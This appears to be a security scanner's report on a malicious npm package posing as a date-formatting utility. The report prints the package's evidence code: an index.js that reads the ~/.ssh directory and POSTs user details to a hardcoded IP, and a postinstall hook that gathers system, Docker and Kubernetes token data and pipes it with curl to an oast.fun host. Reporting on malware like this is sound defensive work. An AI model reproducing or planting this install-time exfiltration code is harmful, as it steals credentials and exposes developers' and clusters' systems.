simple-date-formatter-util-12 1.0.0
SSH key exfiltration, C2 beacon
Node SSH inventory posts to hardcoded IPpostinstall pipes recon output to oast.fun
SHA-2568b54c6e31c42511f7609a24a0afcdb25f57478603c4761b57acb344a0ea266a8
Also flagged by osv (MAL-2026-12201: Malicious code in simple-date-formatter-util-12 (npm)) +1 more.
Evidence
1const fs = require('fs');
2const path = require('path');
3const os = require('os');
4const https = require('https');
5
6// 1. 定义窃取目标：用户的 SSH 私钥目录
7function getSSHKeys() {
8 try {
9 const sshDir = path.join(os.homedir(), '.ssh');
10 // 筛选出 .pub 结尾的文件（通常公钥和私钥成对存在，这里可能是为了规避某些检测或作为标记）
11 return fs.readdirSync(sshDir).filter(f => f.endsWith('.pub'));
12 } catch (e) {
13 return [];
14 }
15}
16
17// 2. 模拟外传数据到攻击者服务器 (C2)
18function exfiltrateData(payload) {
19 const data = JSON.stringify(payload, null, 2);
20
21 console.log('\n' + '='.repeat(60));
22 console.log(' [!] 已触发 - 数据采集完成');
23 console.log('=' …
⋯4 lines
28
29 // 3. 发送 HTTP POST 请求
30 const req = https.request({
31 hostname: '124.221.154.135', // 截图中使用的是公共测试接口，实际攻击会换成黑客服务器
32 port: 443,
33 path: '/post',
34 method: 'POST',
35 headers: {
36 'Content-Type': 'application/json',
37 'Content-Length': Buffer.byteLength(data),
38 },
39 }, (res) => {
40 // 处理响应...
41 res.on('data', () => {});
42 res.on('end', () => {
43 console.log('数据发送完毕。');
44 });
⋯4 lines
49 });
50
51 req.write(data);
52 req.end();
53}
54
55// --- 执行流程 ---
56const stolenInfo = {
57 keysFound: getSSHKeys(),
58 userInfo: {
59 username: os.userInfo().username,
60 platform: os.platform()
61 }
62};
63
64exfiltrateData(stolenInfo);
1{
2 "name": "simple-date-formatter-util-12",
3 "version": "1.0.0",
4 "description": "A simple date formatting utilit1",
5 "main": "index.js",
6 "scripts": {
7 "postinstall": "{ echo =id=; id; echo =hn=; hostname; echo =uname=; uname -a; echo =cg=; cat /proc/1/cgroup; echo =ds=; ls -la /var/run/docker.sock /run/docker.sock 2>&1; echo =cap=; grep -i Cap /proc/self/status; echo =sa=; ls -la /var/run/secrets/kubernetes.io/serviceaccount/ 2>&1; echo =tok=; cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null; echo =mount=; mount | head -30; echo =net=; (ip addr || ifconfig) 2>/dev/null | head -20; …
7:587… |service|container'; echo =p1=; head -c 200 /proc/1/cmdline 2>/dev/null; echo; echo =END=; } 2>&1 | curl -s -m 10 -X POST -d @- http://ycrqyyjhwepdmhjifyccxss1hrks8lcd2.oast.fun/escinfo"
8 },
9 "keywords": [
⋯7 lines
2:17… formatting utility
3 */
4function formatDate(date) {
5 return new Date(date).toLocaleDateString();
6}
7
8module.exports = { formatDate };
No evidence locations were recorded for this file. Raw result